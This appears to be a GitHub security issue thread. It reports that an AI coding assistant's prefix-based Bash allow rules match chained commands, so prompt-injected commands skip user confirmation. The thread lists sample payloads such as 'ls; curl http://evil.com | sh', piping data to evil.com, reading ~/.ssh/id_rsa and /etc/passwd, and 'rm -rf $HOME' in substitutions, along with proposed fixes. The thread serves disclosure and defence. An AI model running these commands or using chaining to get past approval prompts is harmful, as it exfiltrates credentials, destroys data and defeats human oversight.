Repository navigation
HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask #13288
Description
Activity
Prefix-based regex matching for shell commands (^prefix.*$) is fundamentally unsound because POSIX shell interpreters treat ;, &&, ||, |, &, newline, and backticks as command separators. Furthermore, building an AST parser in userspace to catch all subshells, aliases, parameter expansions, and process substitutions (<(cmd)) is practically intractable.
When an allow rule like Bash(ls*) matches chained commands (e.g. ls; cat /etc/passwd or ls && curl http://evil.com | sh), attempting to fix it by expanding regex checks only leads to another parsing loophole.
The architectural solution is to enforce security boundaries at the OS kernel level rather than parsing command strings:
- Kernel-Level VFS Sandboxing: Instead of evaluating whether a chained command string looks safe, execute the shell inside an unprivileged sandbox where the process physically lacks permissions to access sensitive files. Landlock LSM (ABI 1–6) restricts openat and unlinkat at the kernel level, ensuring that even if cat /etc/passwd or rm -rf / is chained, the kernel immediately denies the syscall with EACCES.
- Inode-Level Secret Masking: Using unprivileged mount namespaces (CLONE_NEWUSER | CLONE_NEWNS) with empty tmpfs overlays over ~/.ssh, ~/.aws, and .env guarantees that credential exfiltration is impossible even with arbitrary shell chaining.
- Network Egress Filtering: Isolating the network namespace (CLONE_NEWNET) and routing traffic through a local L7 proxy with TLS SNI inspection prevents unauthorized outbound network connections from piped shell commands.
We implemented this in Vetto. Vetto removes reliance on shell command regex matching by enforcing Landlock LSM boundaries, unprivileged namespaces, and secret masking between fork() and execve() in under 4ms, ensuring that chained or obfuscated commands cannot violate security boundaries.
Disclaimer: I am the author/maintainer of Vetto.
Splitting on
;/&&/||as suggested is necessary but not sufficient — four concrete cases a naive separator split leaves open, which are worth designing into the fix:- Pipes run every stage, not just the last one.
ls | shandls | curl http://evil.com --data-binary @-have no listed separator at all, and the destructive/exfil side isn't even the final command. Every simple command in the pipeline needs to be checked independently. - Substitution executes during expansion, before the "outer" command runs.
ls $(curl http://evil.com|sh),ls `rm -rf $HOME`,ls <(nc ...), andls !-1(history expansion) all carry executable payloads the split never reaches. The evaluator must recurse into command/process substitutions, not just the top-level chain. - The glob must match the resolved command word, not the substring.
^ls.*$against the full string is what matchesls; .... Match each simple command's argv[0] instead, solsfooandfalse-style lookalikes don't match thelsrule; literal glob prefixes likels*should mean "this command word", and anything after the word (args, operators) is outside the match. - Verdict combination should be most-restrictive, and parse failure must be fail-closed. If any sub-command's static rule isn't allow, the whole call drops to ask; if the parser can't tokenize the string (encoding tricks, exotic syntax), the safe default is ask — never "couldn't parse → run it".
On tooling:
shell-quoteis lossy for exactly this job (it stringifies$HOMEto an empty token — the same root issue as #13001). A real shell grammar is the right level: themvdan/shGo parser is one option; in a pure Node path, a WebAssembly build of a POSIX/bash grammar (or tree-sitter-bash) gives a proper AST to walk, including substitutions and pipelines. It pairs naturally with the precedence fix — static preference should only ever narrow a dynamic verdict, never widen it:final = mostRestrictive(static, dynamic)with disabled > ask > allow.
Independent-layer note: we build agent-runtime-guard, a local, fail-closed interception layer for agent tool calls — it evaluates the resolved compound command, pipelines and substitutions included, and signs an Ed25519 receipt per verdict rather than relying on a single static-prefix gate. It runs free with no key or account, and if it doesn't actually stop this class of attack in your setup, you owe nothing — it has to solve the problem first. The only paid side is human audit/compliance work.
- Pipes run every stage, not just the last one.
Summary
When a user configures an allow rule like
Bash(ls*)for the terminal tool, the permission checker converts the pattern to regex^ls.*$and tests it against the entire command string — including chained commands after;,&&, or|. Additionally,checkToolPermissionimplements a "user preference wins" policy: if the static rule saysallow, the dynamic security evaluator'saskrecommendation is overridden.Combined effect: approving
ls -lapermanently auto-approves any command starting withls— includingls; cat /etc/passwd,ls && find /home -name .env, orls; curl http://evil.com | sh.Root cause
Static pattern matching (
permissionChecker.ts:42-57):Bash(ls*)→ regex^ls.*$tested against the FULL command string, not just the first command.Dynamic evaluator override (
permissionChecker.ts:161-174):checkToolPermissionimplements "user preference wins" — if the static rule saysallow, the dynamic security evaluator'saskis discarded:No compound-command splitting (
tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.Reproduction (fully offline)
Tested payloads (all with base policy
Bash(ls*) -> allow):lsls; cat /etc/passwdls && find /home -name .envls; cat ~/.ssh/id_rsals; curl http://evil.com | shls; python3 -c 'import os; os.system("…")'Impact
Once a user approves a benign prefix command (e.g.,
ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.Suggested fix
;,&&,||before pattern matching (as Continue's ownevaluateTerminalCommandSecurityalready does for its dynamic evaluator)Credit
Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou